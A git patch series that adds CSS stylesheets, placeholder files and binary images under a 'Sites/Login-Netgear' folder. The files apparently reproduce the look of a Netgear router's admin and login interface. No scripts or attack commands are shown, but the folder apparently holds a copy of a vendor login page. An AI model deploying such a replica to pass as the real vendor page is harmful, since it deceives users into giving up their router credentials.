background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:12px; + background: url("../img/subhead2-top.gif") no-repeat 0px 0px; + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:10px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: auto; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.select-gray +{ + color:black; + background: #E0E0E0; +} diff --git a/Sites/Login-Netgear/css/table_noh.css b/Sites/Login-Netgear/css/table_noh.css new file mode 100644 index 0000000..5f19526 --- /dev/null +++ b/Sites/Login-Netgear/css/table_noh.css @@ -0,0 +1,717 @@ + + +.basic-text{ + padding-top:0px; + margin-top:0px; +} + + +.basic-text-menu{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +.basic-text-menu-bottom{ + border-collapse:collapse; + + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} +.basic-text-content-bottom{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.basic-text-menu-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color: #404040; + font-weight:bold; + width:50%; +} + +iframe{ + background-color:transparent; +} + +.basic-text-subTitle{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-subTitle-pr{ + border-collapse:collapse; + height:13px; + padding-left:15px; + border-left: 4px; + border-left-style:solid; + font-family:Simsun,Arial; + font-size:12px; + border-color:#FFFFFF; + color:#69B4CB; + font-weight:bold; + width:50%; +} + +.basic-text-content{ + font-family:Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; + } + +.basic-text-content-pr{ + font-family:Simsun,Arial; + border-collapse:collapse; + font-size:12px; + border-right: 4px; + border-right-style:solid; + height:13px; + border-color:#FFFFFF; + color: #404040; + width:50%; +} + +.page-table{ + margin:0px; + font-size:14px; + background:-moz-linear-gradient(top,white,rgb(230,230,230)); + background:-webkit-gradient(linear,left top, left bottom,from(#FFFFFF), to(#E6E6E6)); -webkit-background-origin: padding;-webkit-background-clip:content; + border-collapse:collapse; + + background-color:#C0C0C0; + filter: progid:DXImageTransform.Microsoft.Gradient(endColorstr='#E6E6E6', startColorstr='#FFFFFF', gradientType='0'); + } + +.basic-table-seperate-border{ + border-left-style:solid; + border-right-style:solid; + width:320px; + height:1px; + border-top-style:none; + border-bottom-style:none; + border-left-width:4px; + border-right-width:4px; + border-left-color:#FFFFFF; + border-right-color:#FFFFFF; +} + +.table-seperate-border{ + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + + +.table-seperate-border2{ + padding-top:10px; + padding-bottom:47px; + background-image: url(../img/opmode_topline.gif); + background-repeat: no-repeat; + background-position: 50% 100%; + + padding-left:10px; + padding-right:10px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} + +.scrollpane-table-seperate-border{ + padding-left:20px; + padding-right:5px; + border-left-style:solid; + border-right-style:solid; + border-left-width:0px; + border-right-width:0px; + border-left-color:#808080; + border-right-color:#808080; +} +.basic-table-seperate{ + height:1px; + border-color:#D0D0D0; + background-color:#D0D0D0; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.basic-table-seperate-2{ + height:1px; + border-color:transparent; + background-color:transparent; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } +.adv-home-table-seperate{ + height:1px; + width:615px; + border-color:#C0C0C0; + border-style:normal; + background-color:#C0C0C0; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } +.adv-home-table-seperate-2{ + height:1px; + width:615px; + border-color:#ffffff; + border-style:normal; + background-color:#ffffff; + margin-left:10px; + margin-right:10px; + border-bottom-color:#ffffff; + border-top-style:none; + border-left-style:none; + border-right-style:none; + border:1px; + overflow:hidden; + + } + +.table-seperate{ + height:1px; + + border-color:#000000; + background-color:#000000; + margin-left:15px; + margin-right:15px; + border:0px; + overflow:hidden; + + } + +.box-header-table { + border-collapse:collapse; + margin-left:5px; + background:url('../img/box-header-background.gif') no-repeat; +} + +.box-header-table-large { + border-collapse:collapse; + margin-left:5px; + height:43px; + background:url('../img/box-header-background-large.gif') no-repeat; +} + + +.box-header { + margin:0px; + width:305px; + height:17px; + vertical-align:top; +} +.page-table-bottom-3{ + + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } +.page-table-bottom-2{ + background:url(../img/page-table-bottom-2.gif); + background-position:0px -4px; + font-size:8px; + height:8px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + } + +.page-table-bottom{ + background:url(../img/page-table-bottom.gif); + background-position:0px -14px; + height:10px; + background-repeat:no-repeat; + margin-left:5px; + border:0px; + background-color:#FFFFFF; + } + + +.box-header-text{ + font-family:Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.box-header-text-pr{ + font-family:Simsun,Arial; + padding-left:5px; + height:10px; + width:340px; + color:#E5E5E5; + background-position:-35px 0px; + font-size:14px; + font-weight:Bold; + text-decoration:underline; + } + +.warning-text-menu{ + height:13px; + text-decoration:underline; + padding-left:20px; + border-left: 4px; + color:#E77800; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#FFFFFF; + color:#E77800; + font-weight:bold; + width:60%; + } + + +.warning-text-content{ + border-right: 4px; + text-decoration:underline; + border-right-style:solid; + color:#E77800; + height:13px; + font-size:12px; + border-color:#FFFFFF; + width:40%; + } + +.page-table-button{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:relative; + + } + + +.page-table-button-large{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:relative; + + } + +.page-table-button-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:16px; + width:140px; + background: url("../img/page-table-button.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + } + +.page-table-button-large-left{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:1px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:280px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:100% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-large-right{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#FFFFFF; + height:32px; + width:140px; + background: url("../img/page-table-button-large.gif") no-repeat; + background-position:70% 90%; + overflow:hidden; + padding-top:5px; + padding-left:7px; + + } + +.page-table-button-gray{ + font-family:Arial; + font-size:11px; + margin-top:0px; + margin-left:0px; + padding-left:0px; + font-weight:bold; + color:#767676; + height:16px; + width:140px; + background: url("../img/page-table-button-gray.gif") no-repeat; + background-position:relative; + + } + +.subhead{ + height:32px; + width:740px; + background: url("../img/subhead-top.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-bottom{ + height:29px; + width:740px; + background: url("../img/subhead-bottom.gif") no-repeat 0px 0px; + background-position:relative; +} + +.subhead-text{ + font-family:Arial; + font-size:14px; + color:#E5E5E5; + font-weight:bold; + padding-left:20px; + background-position:relative; + padding-top:7px; +} + +.subhead-text-menu{ + height:25px; + padding-left:20px; + border-left: 1px; + border-left-style:solid; + font-family:Arial; + font-size:12px; + border-color:#000000; + font-weight:bold; + width:18%; + } + +.subhead-text-context{ + padding-left:20px; + border-right: 1px; + border-right-style:solid; + height:25px; + font-size:12px; + border-color:#000000; + width:75%; + } + +.normal-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + +} +.subtop{ + font-family:Arial; + margin:0px; + font-size:12px; + width:1050px; + + color:#FFFFFF; + font-weight:bold; + vertical-align:middle; + +} +.subhead2{ + font-family:Arial; + margin:0px; + font-size:16px; + background: url("../img/subhead2-top_noh.gif") no-repeat 0px 0px; + color:#ADA7D7; + font-weight:bold; + vertical-align:middle; + position: absolute; + top: 0px; + left: 0px; + padding-top:8px; + padding-bottom:8px; + padding-left:20px; +} + +.subhead2-table{ + zoom:1; + width:1050px; + background-attachment:fixed; + padding-right:5px; + border-collapse:collapse; +} + +.subhead2-multi-table{ + zoom:1; + + background-repeat: no-repeat; + background-attachment:fixed; + border:0px; + border-collapse:collapse; +} + + +.subhead2-text{ + font-family:Arial; + margin:0px; + color:#FFFFFF; + font-size:12px; + background-position:relative; + font-weight:bold; + vertical-align:middle; + padding-top:4px; + padding-bottom:4px; +} + +.subhead2-bottom{ + height:29px; + width:1050px; + + background-position:relative; + position:relative; + top:-28px; + margin-bottom:0px; +} + +.subhead2-text-menu{ + padding-left:20px; + height:20px; + border-left: 0px; + border-left-style:solid; + border-color:#808080; + } + +.page-body { + + margin:0px; + + background-color:#E5E5E5; + overflow:hidden; +} + +.subhead2-text-context{ + text-align:right; + padding-right:20px; + border-right: 0px; + border-right-style:solid; + border-color:#808080; + } + +.table-round-top-left{ + background-image:url("../img/roundtopleft_table.gif"); + background-repeat:no-repeat; + } + +.table-round-top-right{ + background-image:url("../img/roundtopright_table.gif"); + background-repeat:no-repeat; + } + +.table-round-bottom-left{ + background-image:url("../img/roundbottomleft_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-round-bottom-right{ + background-image:url("../img/roundbottomright_table.gif"); + background-repeat:no-repeat; + background-position:0px -22px; + } + +.table-header{ + background-color:#9d98ff; + font-family:Arial; + font-size:12px; + vertical-align:middle; + color:#404040; + text-decoration:none; + font-weight:bold; + background-position:relative; + } + +.table-content-text{ + font-family:Arial; + font-size:12px; + color:#404040; + text-decoration:none; + font-weight:normal; + background-position:relative; + } + +.help-frame-div{ + position:absolute; top:284px;left:10px; + width:1000px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.bas-help-frame-div{ + position:absolute; top:284px;left:10px; + width:600px; + height:140px; + background: #202020; + padding:10px; + visibility:hidden; + +} + + +.help-iframe{ + width:100%; + height:140px; + background: #202020; + padding:0px; + position:relative; +} + + +.scroll-pane +{ + overflow: auto; + -webkit-overflow-scrolling: touch; +} + +#full-page-container +{ + position:absolute; top:0px;left:0px; + overflow: hidden; +} + +.cover-image +{ + position:absolute; + top:0px; + left:0px; + width:100%; + height:100%; + z-index:5; +} + +.folderName_ie10 +{ + border-right: inset 1pt; +} + +.subpage-body { + + margin:0px; + + background-color:#FFFFFF; + overflow:hidden; +} + + diff --git a/Sites/Login-Netgear/css/tabs.css b/Sites/Login-Netgear/css/tabs.css new file mode 100644 index 0000000..ac54e8e --- /dev/null +++ b/Sites/Login-Netgear/css/tabs.css @@ -0,0 +1,159 @@ + + +/* root element for tabs */ +ul.tabs { + list-style:none; + margin:0px; + padding-left:10px; + padding-top:5px; + height:30px; + background-color:#ffffff; + font-family:arial; + overflow: hidden; + white-space: nowrap; +} + +/* single tab */ +ul.tabs li { + float:left; + text-indent:0; + padding:0; + margin-left:5px; + background-color:transparent; + list-style-image:none !important; + display: inline; +} + + +/* link inside the tab. uses a background image */ +ul.tabs a { + background: url(../img/tab-nonactive.gif) no-repeat 0; + font-size:15px; + font-weight:bold; + display:block; + height: 30px; + line-height:30px; + width: 200px; + text-align:center; + text-decoration:none; + color:#4e4e4e; + padding:0px; + position:relative; + top:0px; + top: 0px\9; + font-family:arial; +} + +ul.tabs a:active { + outline:none; + background: url(../img/tab-nonactive.gif) no-repeat 0; +} + +/* when mouse enters the tab move the background image */ + + +ul.tabs a.current, ul.tabs a.current:hover, ul.tabs li.current a { + background: url(../img/tab-active.gif) no-repeat 0; + cursor:default !important; + color:#000 !important; +} + + + +.firmware-update-hint{ + background-image:url("../img/firmware-hint-background.gif"); + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + +.firmware-update-hint-short{ + + background-position:0px -1px; + background-repeat:no-repeat; + margin-left:40px; + margin-top:3px; + float:left; + width:380px; + height: 22px; + font-weight:bold; + position: relative; + right: -350px; + top: 33px; + z-index:5; + +} + + + + +.language-option{ + font-family:Arial, Helvetica, Geneva, Swiss, SunSans-Regular, sans-serif; + margin-top:4px; + margin-bottom:5px; + font-size:12px; + font-weight:normal; + } + +firmware_update_click a:hover{ + mouse:pointer; +} +/* Different widths for tabs: use a class name: w1, w2, w3 or w2 */ + +/* initially all panes are hidden */ +.panes .pane { + display:none; + +} + + + +.button-rule span.roundleft_update{ + padding: 4px 0px 15px 20px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_update.gif") no-repeat left 0px; + color:#F2F2F2; + cursor: pointer; + white-space:nowrap; +} + +.roundright_update{ + padding: 4px 5px 15px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + +.roundright_update_org{ + padding: 4px 0px 4px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_update.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; + cursor: pointer; +} + \ No newline at end of file From 00b99974c91d198cb2e1c94362076b9d88c732d8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 20:40:47 +0400 Subject: [PATCH 061/294] Delete w --- Sites/Login-Netgear/css/w | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Sites/Login-Netgear/css/w diff --git a/Sites/Login-Netgear/css/w b/Sites/Login-Netgear/css/w deleted file mode 100644 index e556b83..0000000 --- a/Sites/Login-Netgear/css/w +++ /dev/null @@ -1 +0,0 @@ -w From e30c421b816ad286ac02474eb4027a3f7aa29af8 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 20:41:17 +0400 Subject: [PATCH 062/294] Create X --- Sites/Login-Netgear/img/X | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Netgear/img/X diff --git a/Sites/Login-Netgear/img/X b/Sites/Login-Netgear/img/X new file mode 100644 index 0000000..62d8fe9 --- /dev/null +++ b/Sites/Login-Netgear/img/X @@ -0,0 +1 @@ +X From 329e6959ef1468f9cc564a7a4fd849a43995275d Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 17:42:11 +0100 Subject: [PATCH 063/294] Added files via upload --- Sites/Login-Netgear/img/AP_Mode_R7000.png | Bin 0 -> 154589 bytes Sites/Login-Netgear/img/add_icon.gif | Bin 0 -> 58 bytes Sites/Login-Netgear/img/apply_icon.gif | Bin 0 -> 82 bytes Sites/Login-Netgear/img/barrow.gif | Bin 0 -> 854 bytes Sites/Login-Netgear/img/barrow.jpg | Bin 0 -> 969 bytes Sites/Login-Netgear/img/barrow_down.jpg | Bin 0 -> 811 bytes .../img/barrow_down_nobackground.gif | Bin 0 -> 855 bytes .../Login-Netgear/img/barrow_nobackground.gif | Bin 0 -> 857 bytes .../img/basic-gray-button-large.gif | Bin 0 -> 2059 bytes .../Login-Netgear/img/basic-purple-button.gif | Bin 0 -> 3181 bytes Sites/Login-Netgear/img/basic-white-button.gif | Bin 0 -> 2291 bytes .../img/box-header-background-large.gif | Bin 0 -> 2631 bytes Sites/Login-Netgear/img/cover-image.gif | Bin 0 -> 813 bytes Sites/Login-Netgear/img/edit_icon.gif | Bin 0 -> 60 bytes Sites/Login-Netgear/img/error-icon.gif | Bin 0 -> 982 bytes .../img/firmware-hint-background-long.gif | Bin 0 -> 192 bytes .../img/firmware-hint-background-short.gif | Bin 0 -> 1550 bytes 17 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 Sites/Login-Netgear/img/AP_Mode_R7000.png create mode 100644 Sites/Login-Netgear/img/add_icon.gif create mode 100644 Sites/Login-Netgear/img/apply_icon.gif create mode 100644 Sites/Login-Netgear/img/barrow.gif create mode 100644 Sites/Login-Netgear/img/barrow.jpg create mode 100644 Sites/Login-Netgear/img/barrow_down.jpg create mode 100644 Sites/Login-Netgear/img/barrow_down_nobackground.gif create mode 100644 Sites/Login-Netgear/img/barrow_nobackground.gif create mode 100644 Sites/Login-Netgear/img/basic-gray-button-large.gif create mode 100644 Sites/Login-Netgear/img/basic-purple-button.gif create mode 100644 Sites/Login-Netgear/img/basic-white-button.gif create mode 100644 Sites/Login-Netgear/img/box-header-background-large.gif create mode 100644 Sites/Login-Netgear/img/cover-image.gif create mode 100644 Sites/Login-Netgear/img/edit_icon.gif create mode 100644 Sites/Login-Netgear/img/error-icon.gif create mode 100644 Sites/Login-Netgear/img/firmware-hint-background-long.gif create mode 100644 Sites/Login-Netgear/img/firmware-hint-background-short.gif diff --git a/Sites/Login-Netgear/img/AP_Mode_R7000.png b/Sites/Login-Netgear/img/AP_Mode_R7000.png new file mode 100644 index 0000000000000000000000000000000000000000..c56f70781e0cfa4c736f30d83b2d9a4af79f0f27 GIT binary patch literal 154589 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 